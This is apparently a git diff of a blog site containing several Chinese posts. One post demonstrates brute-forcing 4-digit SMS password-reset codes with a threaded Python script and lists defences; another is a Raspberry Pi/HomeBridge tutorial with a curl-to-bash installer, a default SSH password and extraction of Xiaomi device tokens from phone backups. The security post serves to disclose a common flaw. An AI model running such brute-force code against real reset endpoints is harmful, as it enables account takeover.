如同標題所寫「可供測試」、「可供測試」、「可供測試」不太建議將以上服務用於正式環境,甚至當作產品的核心上線。

收費貴、難遷移

之前曾聽說某個蠻大的服務就是使用 Firebase 服務搭建起家,結果後期資料、流量大,收費爆貴;要轉移也很困難,程式還好但資料非常難搬;只能說是初期省了小錢卻造成後期巨大的虧損,不值得。

僅供測試

因為以上原因,使用 Firebase Functions + Firestore 搭建的 API 服務個人建議僅供測試或是 Prototype 產品展示。

更多功能

Functions 還可以串 Authentication(身份驗證)、Storage(檔案上傳),但這部分我就沒研究了。

參考資料

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

找回密碼之簡訊驗證碼強度安全問題

AppStore APP’s Reviews Bot 那些事

diff --git a/posts/99a6cef90190/index.html b/posts/99a6cef90190/index.html new file mode 100644 index 000000000..87dcee5ed --- /dev/null +++ b/posts/99a6cef90190/index.html @@ -0,0 +1,99 @@ + 找回密碼之簡訊驗證碼強度安全問題 | ZhgChgLi
Home 找回密碼之簡訊驗證碼強度安全問題
Post
Cancel

找回密碼之簡訊驗證碼強度安全問題

找回密碼之簡訊驗證碼強度安全問題

使用 Python 展示暴力破解的嚴重性

Photo by [Matt Artz](https://unsplash.com/@mattartz?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Matt Artz

前言

本文沒什麼資安技術含量,單純是日前在使用某平台網站時的突發奇想;想說順手測看看安全性,結果發現的問題。

在使用網站、APP 服務的忘記密碼找回功能時;一般會有兩個選項,一是輸入帳號、Email,然後會寄含有 Token 的重設密碼頁面連結到信箱,點擊後打開頁面就能重設密碼,這部分沒什麼問題,除非像 之前那篇 文章所說,設計上有漏洞才會有問題。

另一個找回密碼的方式是輸入綁定的手機號碼(多半用在 APP 服務),然後會寄出簡訊驗證碼到手機,完成驗證碼輸入即可重設密碼;但為了便利性,多半的服務都是使用純數字作為驗證碼,另外也因為在 iOS ≥ 11 之後增加 Password AutoFill 功能,當手機收到驗證碼後鍵盤會自動判讀並跳出提示。

查找 官方文件 ,蘋果並沒有給出驗證碼自動填入的判讀格式規則;但我看幾乎所有能支援自動填入的服務都是使用純數字,推測應該是只能用數字不能使用數字英文夾雜的複雜組合。

問題

因數字密碼的組合存在暴力破解的可能性,尤其是 4 位密碼;組合只有 0000~9999,10,000 種組合;使用多個 thread 多台機器就能分組暴力破解。

假設驗證請求需要 0.1 秒回應,10,000 個組合 = 10,000 次請求

1
+
破解所需嘗試時間:((10,000 * 0.1) / thread 數) 秒
+

就算不開 thread 也只需要 16 多分種就能嘗試出正確的簡訊驗證碼。

除密碼長度、複雜度不足之外,還有個問題是驗證碼未設嘗試上限、有效期限太長這兩個問題。

組合

綜合上述,此資安問題常見於 APP 端;因網頁服務多半都會在嘗試錯誤多次後加上圖形驗證碼驗證或在請求重設密碼時需多輸入安全問題,增加發送驗證請求的困難度;另外網頁服務的驗證若沒有前後端分離,變成每次驗證請求都要拿整個網頁,拉長請求回應時間。

APP 端因流程設計及方便使用者,多半會簡化重設密碼流程、有的 APP 甚至是通過手機號碼驗證就能登入;如果在 API 端沒有做防護則會造成資安漏洞。

實踐

⚠️警告⚠️ 本文僅作展示此安全問題的嚴重性,請勿拿去做壞事。

嗅探驗證請求 API

萬事都從嗅探開始,這部分可參考之前的文章「 APP有用HTTPS傳輸,但資料還是被偷了。 」、「 使用 Python+Google Cloud Platform+Line Bot 自動執行例行瑣事 」第一篇文章看原理建議使用第二篇文章的 Proxyman 進行嗅探。

如果是前後端分離的網站服務也能使用 Chrome -> 檢查 -> Network -> 查看在送出驗證碼後發了什麼請求。

這邊假設得到的檢查驗證碼請求是:

1
+
POST https://zhgchg.li/findPWD
+

Response:

1
+2
+3
+4
+
{
+   "status":fasle
+   "msg":"驗證錯誤"
+}
+

撰寫暴力破解 Python 腳本

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+
import random
+import requests
+import json
+import threading
+
+phone = "0911111111"
+found = False
+def crack(start, end):
+    global found
+    for code in range(start, end):
+        if found:
+            break
+        
+        stringCode = str(code).zfill(4)
+        data = {
+            "phone" : phone,
+            "code": stringCode
+        }
+
+        headers = {}
+        try:
+            request = requests.post('https://zhgchg.li/findPWD', data = data, headers = headers)
+            result = json.loads(request.content)
+            if result["status"] == True:
+                print("Code is:" + stringCode)
+                found = True
+                break
+            else:
+                print("Code " + stringCode + " is wrong.")
+        except Exception as e:
+            print("Code "+ stringCode +" exception error \(" + str(e) + ")")
+
+def main():
+    codeGroups = [
+        [0,1000],[1000,2000],[2000,3000],[3000,4000],[4000,5000],
+        [5000,6000],[6000,7000],[7000,8000],[8000,9000],[9000,10000]
+    ]
+    for codeGroup in codeGroups:
+        t = threading.Thread(target = crack, args = (codeGroup[0],codeGroup[1],))
+        t.start()
+
+main()
+

執行腳本後我們得到:

1
+
驗證碼等於:1743
+

1743 帶入重設密碼更改掉原始密碼或直接登入帳號。

Bigo!

解決之道

  • 密碼重設增加更多資訊驗證(如:生日、安全問題)
  • 增加驗證碼長度(如 Apple 6 碼數字)、增加驗證碼複雜度(如果不影響 AutoFill 功能)
  • 驗證碼嘗試錯誤大於 3 次後使其失效,需請使用者重新發送驗證碼
  • 驗證碼有效時限縮短
  • 驗證碼嘗試錯誤過多次鎖定裝置、增加圖形驗證碼
  • APP 多做 SSL Pining、傳輸加解密(防止嗅探)

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

Bye Bye 2020 經營 Medium 第二年回顧

使用 Firebase Firestore + Functions 快速搭建可供測試的 API 服務

diff --git a/posts/99db2a1fbfe5/index.html b/posts/99db2a1fbfe5/index.html new file mode 100644 index 000000000..2773d4919 --- /dev/null +++ b/posts/99db2a1fbfe5/index.html @@ -0,0 +1,599 @@ + 打造舒適的 WFH 智慧居家環境,控制家電盡在指尖 | ZhgChgLi
Home 打造舒適的 WFH 智慧居家環境,控制家電盡在指尖
Post
Cancel

打造舒適的 WFH 智慧居家環境,控制家電盡在指尖

打造舒適的 WFH 智慧居家環境,控制家電盡在指尖

示範使用樹莓派當 HomeBridge 主機,將所有米家家電串上 HomeKit

photo by [picjumbo.com](https://www.pexels.com/zh-tw/@picjumbo-com-55570?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels){:target="_blank"}

photo by picjumbo.com

關於

因為疫情的關係,在家時間變長了;尤其是要 Work From Home 的話,家裡的電器設備最好都能在 APP 上智能控制,就不用一下子離開去開燈、一下子去開電鍋…等等,很浪費時間。

之前寫過一篇「 智慧家居初體驗 — Apple HomeKit & 小米米家 ,初試使用 HomeBridge 將小米家電串上 HomeKit,實證理論上可行,但實際應用提到的不多,今天這篇算是綜合前篇的進階完整版,包含選擇樹莓派當主機的話該怎麼設定,從頭到尾手把手教學。

起因是最近換了 iPhone 11 Pro 能支援 iOS ≥ 13 捷徑的 NFC 自動化功能,就是手機感應到 NFC Tag 就能執行相應的捷徑;雖然 可以直接拿舊的悠遊卡當 NFC Tag ,但太占空間也沒那麼多張卡;我去光華問了一圈都沒有再賣 NFC Tag 感應貼紙,最後才在蝦皮找到 $50 一張,買了 5 張來玩玩,賣家還很貼心的幫我用顏色區隔開。

*NFC 自動化功能是綁機型的,只有 iPhone XS/XS max/XR/11/11pro/11pro max 支援這個功能,之前拿 iPhone 8 完全沒 NFC這選項。

稍微把玩了一下發現有個問題,就是執行米家 APP 的捷徑時一定要打開「執行時顯示」選項(否則不會真的執行), 感應到 Tag 要執行時還要解鎖 iPhone 、執行時也會開啟捷徑,無法在後台直接感應執行 ;另外實測了如果捷徑是原生蘋果的服務(如:HomeKit 的家電)就能在背景&免解鎖下直接執行;而且 homeKit 的反應速度、穩定度都比米家好很多。

這在爽度上有很大的差別,所以就又深入研究了將米家智慧家居系列的產品都接上 HomeKit,有支援 HomeKit 的就直接綁定本篇不贅述;不支援的就照此文教學也一起綁定上去!

我的米家智慧家居項目

  1. 米家智慧攝影機 雲台版 1080P
  2. 米家直流變頻電風扇
  3. 米家 LED 智慧檯燈
  4. 小米空氣淨化器 3
  5. 米家檯燈 Pro(本身就支援 HomeKit)
  6. 米家 LED 智慧燈泡 彩光版 * 2 (本身就支援 HomeKit)

運作原理

做了一張簡易的參考圖,如果智慧家電有支援 HomeKit 就直接串上去、 不支援的智慧家電透過架設「HomeBridge」服務主機(要一直開機)也能橋接串上去 ;在同一個網路環境下(EX: 同個 WiFi)iPhone 可以自由地控制 HomeKit 中的所有家電項目;但若在外部網路,如 4G 行動網路情況下,就需要有一台 Apple TV/HomePod 或 iPad 當家庭中樞主機,在家待命(一樣要一直開著) 才能在外面控制家中的 HomeKit,若無家庭中樞在外面打開家庭 APP 會顯示「 無回應 」。

*若是米家的話,會經由米家伺服器控制家裡的電器,要說的話 會有安全問題,資料都要經過大陸

需求環境

所以一共有兩個設備要一直開著待命,一台是 Apple TV/HomePod 或 iPad 家庭中樞主機;這部分目前無解,無法用其他方式模擬,只能想辦法取得這些設備,如果沒有就只能在家使用 HomeKit

另一台只要是能 24 hr 待命的電腦(如您的 iMac/MacBook)、閒置的主機(舊的 iMac、Mac Mini)或樹莓派都可以。

*windows 系列未嘗試,不過應該也可以!

亦或是你想玩玩也可以直接用目前的電腦來用(可搭配 前篇文章 一起服用)。

本文將以樹莓派(Raspberry Pi 3B)、使用 Macbook Pro (MacOS 10.15.4) 操作下作示範,從設定樹莓派的環境從頭開始講;若不是使用樹莓派的朋友可以直接略過跳到 HomeBridge 串接 HomeKit 的部分(這裡都一樣)。

Raspberry Pi 3B (special thanks to [Lu Xun Huang](https://medium.com/u/b32ce1b681f8){:target="_blank"} )

Raspberry Pi 3B (special thanks to Lu Xun Huang )

若是使用樹莓派還需要一張 micro SD 記憶卡(不用太大,我用 8G)、讀卡機、網路線(設定用,之後可連 WiFi);還有樹莓派需要的軟體:

  1. 樹莓派桌面版作業系統(方便大家入門,使用 GUI 版)
  2. Etcher 燒錄軟體

樹莓派環境設定

燒錄作業系統

下載完需求的兩個軟體後,我們先將記憶卡放入讀卡機插上電腦;打開 Etcher 程式(balenaEtcher)

第一項選擇剛下載的樹莓派作業系統「xxxx.img」、第二項選擇你的記憶卡裝置,然後點擊「Flash!」開始燒錄!

第一項選擇剛下載的樹莓派作業系統「xxxx.img」、第二項選擇你的記憶卡裝置,然後點擊「Flash!」開始燒錄!

此時會跳出要你輸入 **MacOS 的密碼** ,輸入後按「Ok」繼續。

此時會跳出要你輸入 MacOS 的密碼 ,輸入後按「Ok」繼續。

燒錄中…請稍候….

燒錄中…請稍候….

驗證中…請稍候….

驗證中…請稍候….

燒錄成功!

燒錄成功!

*若有出現紅色的 Error ,可嘗試將記憶卡格式化後再次燒錄。

重新將讀卡機接上電腦,並在記憶卡內容目錄下建立一個空的 「ssh」 檔案( 或點此下載 )內容空白、不用副檔名,就是個「ssh」檔;讓我們可以用 Terminal 連線進樹莓派。

ssh

ssh

設定樹莓派

將記憶卡退出,插入樹莓派上並接上網路線,然後通電開機;並讓 MacBook 跟樹莓派在同個網路環境下。

查看樹莓派分配到的 IP 位置

得到 樹莓派分配到的 IP 位置是: 192.168.0.110 (本文所有出現的 IP 請自行更換成你查到的結果)

建議將樹莓派設定為指定/保留 IP,否則開機重連後 IP 位置可能會變動,要重新查。

使用 SSH 連入樹莓派進行操作

打開 Terminal 輸入:

ssh pi@你的樹莓派IP位址

有詢問就輸入 yes ,密碼輸入預設密碼: raspberry

**連線成功!**

連線成功!

*若有出現 WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED 之類的錯誤訊息就先去 /Users/xxxx/.ssh/known_hosts 用文字編輯器打開清空即可

樹莓派基本工具安裝、設定

1.輸入以下指令安裝 Vim 編輯器:

sudo apt-get install vim

2.解決以下語系警告:

1
+2
+3
+4
+5
+6
+7
+8
+
perl: warning: Setting locale failed.
+perl: warning: Please check that your locale settings:
+    LANGUAGE = (unset),
+    LC_ALL = (unset),
+    LC_LANG = "zh_TW.UTF-8",
+    LANG = "zh_TW.UTF-8"
+    are supported and installed on your system.
+perl: warning: Falling back to the standard locale ("C").
+

輸入

vi .bashrc

按「Enter」進入

按「 i 」進入編輯模式

移動到文件最底部,加上一行「 export LC_ALL=C

按「Esc」輸入「 :wq! 」儲存退出。

再下「 source .bashrc 」更新即可。

3.安裝 nvm 管理 nodejs/npm:

1
+
curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.11/install.sh | bash
+

4.用 nvm 安裝最新版 nodejs

nvm install 12.16.2

*這邊選擇安裝「12.16.2」版本

5.確認環境安裝完成:

輸入以下指令

npm -v

node -v

確認

沒錯誤訊息即可!

沒錯誤訊息即可!

6.建立 nodejs 連結

輸入以下指令

which node

取得 nodejs 所在路徑資訊

再輸入

sudo ln -fs 這邊貼上你 which node 查到的路徑(不用”雙引號) /usr/local/bin/node

建立連結

設定完成!

啟用樹莓派 VNC 遠端桌面功能

這邊我們雖然是裝 GUI 版,你當然可以直接將樹莓派接上鍵盤、HDMI 當一般電腦使用,但為了方便我們將使用遠端桌面的方式控制樹莓派。

輸入:

sudo raspi-config

進入設定:

選擇第五項「 **Interfacing Options** 」

選擇第五項「 Interfacing Options

選擇第三項「 **P3 VNC** 」

選擇第三項「 P3 VNC

使用 「 **←** 」選擇「 **Yes** 」打開

使用 「 」選擇「 Yes 」打開

**VNC 遠端桌面功能啟用成功!**

VNC 遠端桌面功能啟用成功!

使用 「 **→** 」直接切到「 **Finish** 」退出設定介面。

使用 「 」直接切到「 Finish 」退出設定介面。

將 VNC 遠端桌面服務加入到開機自動啟動項

我們希望 VNC 遠端桌面服務是樹莓派開機後就自動啟用的。

輸入

sudo vim /etc/init.d/vncserver

按「Enter」進入

按「 i 」進入編輯模式

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+
#!/bin/sh
+### BEGIN INIT INFO
+# Provides:          vncserver
+# Required-Start:    $local_fs
+# Required-Stop:     $local_fs
+# Default-Start:     2 3 4 5
+# Default-Stop:      0 1 6
+# Short-Description: Start/stop vncserver
+### END INIT INFO
+
+# More details see:
+# http://www.penguintutor.com/linux/vnc
+
+### Customize this entry
+# Set the USER variable to the name of the user to start vncserver under
+export USER='pi'
+### End customization required
+
+eval cd ~$USER
+
+case "$1" in
+  start)
+    su $USER -c '/usr/bin/vncserver -depth 16 -geometry 1024x768 :1'
+    echo "Starting VNC server for $USER "
+    ;;
+  stop)
+    su $USER -c '/usr/bin/vncserver -kill :1'
+    echo "vncserver stopped"
+    ;;
+  *)
+    echo "Usage: /etc/init.d/vncserver {start|stop}"
+    exit 1
+    ;;
+esac
+exit 0
+

「Commend」+「C」、「Commend」+「V」複製貼上以上內容進去,按「Esc」輸入「:wq!」儲存退出。

再輸入:

sudo chmod 755 /etc/init.d/vncserver

修改文件權限。

再輸入:

sudo update-rc.d vncserver defaults 加入到開機自動啟動項目。

最後輸入:

sudo reboot

重新啟動樹莓派。

*重新啟動完成後,再照之前的步驟重新使用 ssh 連線進來。

使用 VNC Client 進行連線:

這邊使用的是 Chrome 的 APP 「 VNC® Viewer for Google Chrome™ 」,安裝完啟動後,輸入 樹莓派 IP 位置:1 ,請注意後面的 Port:1 要加上!

*我使用 Mac 自帶的 VNC:// 無法連線,不確定原因。

點選「 **Connect** 」。

點選「 Connect 」。

點選「 **OK** 」。

點選「 OK 」。

**輸入登入帳號密碼** ,同 SSH 連線,帳號 `pi` 預設密碼 `raspberry` 。

輸入登入帳號密碼 ,同 SSH 連線,帳號 pi 預設密碼 raspberry

**成功連入!**

成功連入!

完成樹莓派初始化設定:

再來都是圖形介面!很容易!

設定語言、地區、時區。

設定語言、地區、時區。

更改樹莓派預設密碼,輸入你要設定的密碼。

更改樹莓派預設密碼,輸入你要設定的密碼。

直接下一步「 **Next** 」。

直接下一步「 Next 」。

設定使用 WiFi 連線,之後就不用在插線了。

設定使用 WiFi 連線,之後就不用在插線了。

*但請注意樹莓派 IP位置可能會改變,要再進路由器查詢

是否要更新當前作業系統,不趕時間就選「 **Next** 」更新吧!

是否要更新當前作業系統,不趕時間就選「 Next 」更新吧!

*更新大約需要20~30分鐘(依照你的網路速度)

更新完成後,點擊「 **Restart** 」重新啟動。

更新完成後,點擊「 Restart 」重新啟動。

樹莓派環境設定完成!

HomeBridge 安裝

正式進入重頭戲,安裝使用 HomeBridge。

使用Terminal ssh 連線進樹莓派或直接使用 VNC 遠端桌面裡的 Terminal。

輸入:

npm -g install homebridge — unsafe-perm ( 不加 sudo )

安裝 HomeBridge

安裝完成!

建立/修改設定檔(config.json):

為了方便編輯,使用 VNC 遠端桌面連線至樹莓派 (也可直接用指令)

點左上角打開「 檔案管理程式 」-> 進入「 /home/pi/.homebridge

若沒看到「config.json」檔案則在空白處點右鍵「 New File 」-> 輸入檔案名稱「 config.json

在「 config.json 」上按右鍵用「 Text Editor 」打開

貼上以下基礎設定內容:

1
+2
+3
+4
+5
+6
+7
+
{
+	  "bridge": {
+		"name": "Homebridge",
+		"username": "CC:22:3D:E3:CE:30",
+		"port": 51826,
+		"pin": "123-45-568"
+}
+

內容不用特別更改,直接照搬即可!

記得存檔!

完成!

綁定 HomeBridge 到 Homekit

輸入:

homebridge start ( 不加 sudo )

啟用

*若出現 Error: Service name is already in use on the network / port被佔用之類的錯誤可嘗試砍掉服務、改用 homebridge restart 重啟、或重新開機。

*若出現was not registered by any plugin之類的錯誤則代表你還沒有安裝相應的homebridge plugin。

啟動中有更改 設定檔(config.json)內容的話要改下:

sudo homebridge restart

重新啟動 HomeBridge

*按「Control」+「C」可在 Terminal 關閉退出 HomeBridge 服務。

拿出 iPhone 打開「家庭」APP,在「家庭」右上角點「+」,選「加入配件」, 掃描你出現的 QRCode

這時應該會出現「 找不到配件 」,別擔心!因為我們還沒有加入任何配件到 HomeBridge 橋接器上,沒關係,讓我們繼續往下看。

至少要有一個配件才能掃描加入! ! ! (這邊以攝影機為範例) 至少要有一個配件才能掃描加入! ! ! (這邊以攝影機為範例) 至少要有一個配件才能掃描加入! ! ! (這邊以攝影機為範例)

第一次掃描加入會出現警告視窗,按「強制加入」即可!

加入過一次後,後面再新增的配件都不用再次掃描了,會自己更新進去!

將 HomeBridge 服務加入樹莓派開機自動啟動項目

同 VNC 遠端桌面服務,我們也希望 HomeBridge 服務是樹莓派開機後就自動啟用的,不然一但重開機就要再次手動連進來啟用。

輸入:

which homebridge

取得 homebridge 路徑資訊

記下此路徑。

再輸入:

sudo vim /etc/init.d/homebridge

按「Enter」進入

按「 i 」進入編輯模式

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+
#!/bin/sh
+### BEGIN INIT INFO
+# Provides:
+# Required-Start:    $remote_fs $syslog
+# Required-Stop:     $remote_fs $syslog
+# Default-Start:     2 3 4 5
+# Default-Stop:      0 1 6
+# Short-Description: Start daemon at boot time
+# Description:       Enable service provided by daemon.
+### END INIT INFO
+
+
+dir="/home/pi"
+cmd="DEBUG=* 這邊貼上你 which homebridge 查到的路徑"
+user="pi"
+
+
+name=`basename $0`
+pid_file="/var/run/$name.pid"
+stdout_log="/var/log/$name.log"
+stderr_log="/var/log/$name.err"
+
+
+get_pid() {
+cat "$pid_file"
+}
+
+
+is_running() {
+[ -f "$pid_file" ] && ps -p `get_pid` > /dev/null 2>&1
+}
+
+
+case "$1" in
+start)
+if is_running; then
+echo "Already started"
+else
+echo "Starting $name"
+cd "$dir"
+if [ -z "$user" ]; then
+sudo $cmd >> "$stdout_log" 2>> "$stderr_log" &
+else
+sudo -u "$user" $cmd >> "$stdout_log" 2>> "$stderr_log" &
+fi
+echo $! > "$pid_file"
+if ! is_running; then
+echo "Unable to start, see $stdout_log and $stderr_log"
+exit 1
+fi
+fi
+;;
+stop)
+if is_running; then
+echo -n "Stopping $name.."
+kill `get_pid`
+for i in 1 2 3 4 5 6 7 8 9 10
+# for i in `seq 10`
+do
+if ! is_running; then
+break
+fi
+
+
+echo -n "."
+sleep 1
+done
+echo
+
+
+if is_running; then
+echo "Not stopped; may still be shutting down or shutdown may have failed"
+exit 1
+else
+echo "Stopped"
+if [ -f "$pid_file" ]; then
+rm "$pid_file"
+fi
+fi
+else
+echo "Not running"
+fi
+;;
+restart)
+$0 stop
+if is_running; then
+echo "Unable to stop, will not attempt to start"
+exit 1
+fi
+$0 start
+;;
+status)
+if is_running; then
+echo "Running"
+else
+echo "Stopped"
+exit 1
+fi
+;;
+*)
+echo "Usage: $0 {start|stop|restart|status}"
+exit 1
+;;
+esac
+exit 0
+

將:

cmd=”DEBUG=* 這邊貼上你 which homebridge 查到的路徑”

替換入你查到的路徑資訊(不用“雙引號)

「Commend」+「C」、「Commend」+「V」複製貼上以上內容進去,按「Esc」輸入「:wq!」儲存退出。

再輸入:

sudo chmod 755 /etc/init.d/homebridge

修改文件權限。

最後輸入:

sudo update-rc.d homebridge defaults

加入到開機自動啟動項目。

完成!

可直接使用 sudo /etc/init.d/homebridge start 啟用 homebridge 服務。

另可使用: tail -f /var/log/homebridge.err 查看啟動錯誤訊息、 tail -f /var/log/homebridge.log 查看 log 。

米家智慧家電串接前準備

Homebridge on 起來後,我們就可以開始逐個將所有米家家電加入至 Homebridge 接上 homeKit!

首先我們要先將米家智慧家電都加入「 米家APP ,我們要從其中獲取串接上 HomeBridge 的資訊。

智慧家電都加入米家 APP 後:

將 iPhone 接上 Mac 電腦,打開 Finder/Itunes 介面,選擇接上的手機

選備份到「 這部電腦 」、 「 不要勾!替本機備份加密」 ,點「 立即備份

備份完成後, 下載 安裝備份查看軟體: iBackupViewer

打開「 iBackupViewer

初次啟動會要你去 Mac「系統偏好設定」- 「安全性與隱私權」-「隱私權」-「+」- 加入「iBackupViewer」

*如有隱私顧慮可關閉網路使用這套軟體、並在使用後移除

再次打開「 iBackupViewer 」成功讀取到備份檔後,點擊「剛備份的手機」

選擇「 **App Stroe** 」Icon

選擇「 App Stroe 」Icon

左方找到「米家 APP (MiHome.app)」-> 右方找到「 **數字_mihome.sqlite」** 這個檔案並「 **選擇** 」 -> 右上角「 **Export** 」-> 「 **Selected Files** 」

左方找到「米家 APP (MiHome.app)」-> 右方找到「 數字_mihome.sqlite」 這個檔案並「 選擇 」 -> 右上角「 Export 」-> 「 Selected Files

*若有兩個 「數字_mihome.sqlite」檔案,則挑 Created 建立時間最新的來用。

將剛剛匯出的 數字_mihome.sqlite 檔案 拖曳進這個網站查看內容:

SQLite Viewer sqlite file viewer inloop.github.io

可將查詢語法換成:

SELECT ZDID,ZNAME,ZTOKEN FROM ‘ZDEVICE’ LIMIT 0,30

僅顯示我們需要的欄位資訊 (若有特別的家電套件需要其他的欄位資訊也可以加上去做篩選)

  1. ZDID: 裝置 ID
  2. ZNAME: 裝置名稱
  3. ZTOKEN: 裝置 ZToken

ZTOKEN 不能直接用,要轉換成 “Token” 才能使用。

這邊以攝影機的 ZToken 轉換 Token 為例:

首先,我們從上面列表取得攝影機的 ZToken 欄位內容

1
+
7f1a3541f0433b3ccda94beb856c2f5ba2b15f293ce0cc398ea08b549f9c74050143db63ee66b0cdff9f69917680151e
+

但這邊拿到的 TOKEN 還不能用,我們還需要將他轉換

打開 http://aes.online-domain-tools.com/ 這個網站:

  1. 將剛剛複製出來的 ZTOKEN 貼在「Input Text」,選「Hex」
  2. Key輸入「00000000000000000000000000000000」32個0,ㄧ樣選「Hex」
  3. 然後按下「Decrypt!」轉換
  4. 全選複製右下角兩行的輸出內容&去掉空格後就是我們要的結果 Token

「 **6d304e6867384b704b4f714d45314a34** 」就是我們要的 Token 結果!

6d304e6867384b704b4f714d45314a34 」就是我們要的 Token 結果!

*Token 去得方式這塊有嘗試用「miio」直接嗅探的方式,但好像是米家韌體有更新過,已無法用這個方法快速方便得到 Token 了!

最後,我們還要知道 裝置的 IP 位址 (這邊一樣以攝影機為例):

打開米家APP → 攝影機 → 右上角「…」→設定→網路訊息,得到 IP位址

記錄下 ZDID/Token/IP 這些資訊,供後續使用。

將米家智慧家電逐個串入 HomeBridge

依照個別裝置需要用到的套件、連線資訊不同,逐個安裝、設定,加入至 HomeBridge。

再來打開 Terminal ssh 連線進樹莓派或直接使用 VNC 遠端桌面裡的 Terminal,繼續後續作業….

1.米家攝影機雲臺版:

在 Terminal 下命令安裝 MijiaCamera 這個 homebridge 套件 ( 不加 sudo ):

1
+
npm install -g homebridge-mijia-camera
+

參考前文的修改設定檔(config.json)教學,在檔案中加入 accessories 區塊

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+
{
+   "bridge":{
+      "name":"Homebridge",
+      "username":"CC:22:3D:E3:CE:30",
+      "port":51826,
+      "pin":"123-45-568"
+   },
+   "accessories":[
+      {
+         "accessory":"MijiaCamera",
+         "name":"Mi Camera",
+         "ip":"",
+         "token":""
+      }
+   ]
+}
+

accessories: 加入米家攝影機的設定資訊,ip 帶入攝影機 ip、token 帶入帶入前文教學教的 token

記得存檔!

然後照 Homebridge 章節教的,啟動/重新啟動/掃描加入 Homebridge;就能在「家庭」APP 中看到攝影機的控制項目了。

可控制項目:攝影機開/關

2.米家直流變頻電風扇

在 Terminal 下命令安裝 homebridge-mi-fan 這個 homebridge 套件 (不加 sudo)

1
+
npm install -g homebridge-mi-fan
+

參考前文的修改設定檔(config.json)教學,在檔案中加入 platforms 區塊(若已有則在區塊內「,」新增一個子區塊)

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+
{
+   "bridge":{
+      "name":"Homebridge",
+      "username":"CC:22:3D:E3:CE:30",
+      "port":51826,
+      "pin":"123-45-568"
+   },
+   "platforms":[
+      {
+         "platform":"MiFanPlatform",
+         "deviceCfgs":[
+            {
+               "type":"MiDCVariableFrequencyFan",
+               "ip":"",
+               "token":"",
+               "fanName":"room fan",
+               "fanDisable":false,
+               "temperatureName":"room temperature",
+               "temperatureDisable":true,
+               "humidityName":"room humidity",
+               "humidityDisable":true,
+               "buzzerSwitchName":"fan buzzer switch",
+               "buzzerSwitchDisable":true,
+               "ledBulbName":"fan led switch",
+               "ledBulbDisable":true
+            }
+         ]
+      }
+   ]
+}
+

platforms: 加入米家電風扇設定資訊,ip 帶入攝影機 ip、token 帶入前文教學教的 token、humidity/temperature 可控制是否連動顯示溫濕度計資訊、 type 需帶入對應型號的文字 ,支援四種不同型號的電風扇:

  1. 智米直流變頻落地扇:ZhiMiDCVariableFrequencyFan
  2. 智米自然風風扇:ZhiMiNaturalWindFan
  3. 米家直流變頻:MiDCVariableFrequencyFan (台灣賣的)
  4. 米家風扇:DmakerFan

請自行帶入自己的風扇型號。

記得存檔!

然後照 Homebridge 章節教的,啟動/重新啟動/掃描加入 Homebridge;就能在「家庭」APP 中看到攝影機的控制項目了。

可控制項目:電風扇開/關、風力大小調整

3.小米空氣淨化器 3

在 Terminal 下命令安裝 homebridge-xiaomi-air-purifier3 這個 homebridge 套件 (不加 sudo)

1
+
npm install -g homebridge-xiaomi-air-purifier3
+

參考前文的修改設定檔(config.json)教學,在檔案中加入 accessories 區塊(若已有則在區塊內「,」新增一個子區塊)

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+
{
+   "bridge":{
+      "name":"Homebridge",
+      "username":"CC:22:3D:E3:CE:30",
+      "port":51826,
+      "pin":"123-45-568"
+   },
+   "accessories":[
+      {
+         "accessory":"XiaomiAirPurifier3",
+         "name":"Xiaomi Air Purifier",
+         "did":"",
+         "ip":"",
+         "token":"",
+         "pm25_breakpoints":[
+            5,
+            12,
+            35,
+            55
+         ]
+      }
+   ]
+}
+

accessories: 加入米家電風扇設定資訊,ip 帶入攝影機 ip、token 帶入前文教學教的 token、did 帶入 zdid

記得存檔!

然後照 Homebridge 章節教的,啟動/重新啟動/掃描加入 Homebridge;就能在「家庭」APP 中看到攝影機的控制項目了。

可控制項目:空氣清淨機開關、風力大小調整 可查看項目:當前溫濕度

4.米家 LED 智慧檯燈

在 Terminal 下命令安裝 homebridge-yeelight-wifi 這個 homebridge 套件 (不加 sudo)

1
+
npm install -g homebridge-yeelight-wifi
+

參考前文的修改設定檔(config.json)教學,在檔案中加入 platforms 區塊(若已有則在區塊內「,」新增一個子區塊)

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
{
+   "bridge":{
+      "name":"Homebridge",
+      "username":"CC:22:3D:E3:CE:30",
+      "port":51826,
+      "pin":"123-45-568"
+   },
+   "platforms":[
+      {
+         "platform":"yeelight",
+         "name":"Yeelight"
+      }
+   ]
+}
+

不用特別帶什麼參數進去!若要做更細節的設定可參考 官方文件 (如亮度/色溫…)

記得存檔!

智慧檯燈還需改綁定到「 Yeelight 」APP,然後將「區域網路控制」打開才能給 Homebridge 控制。

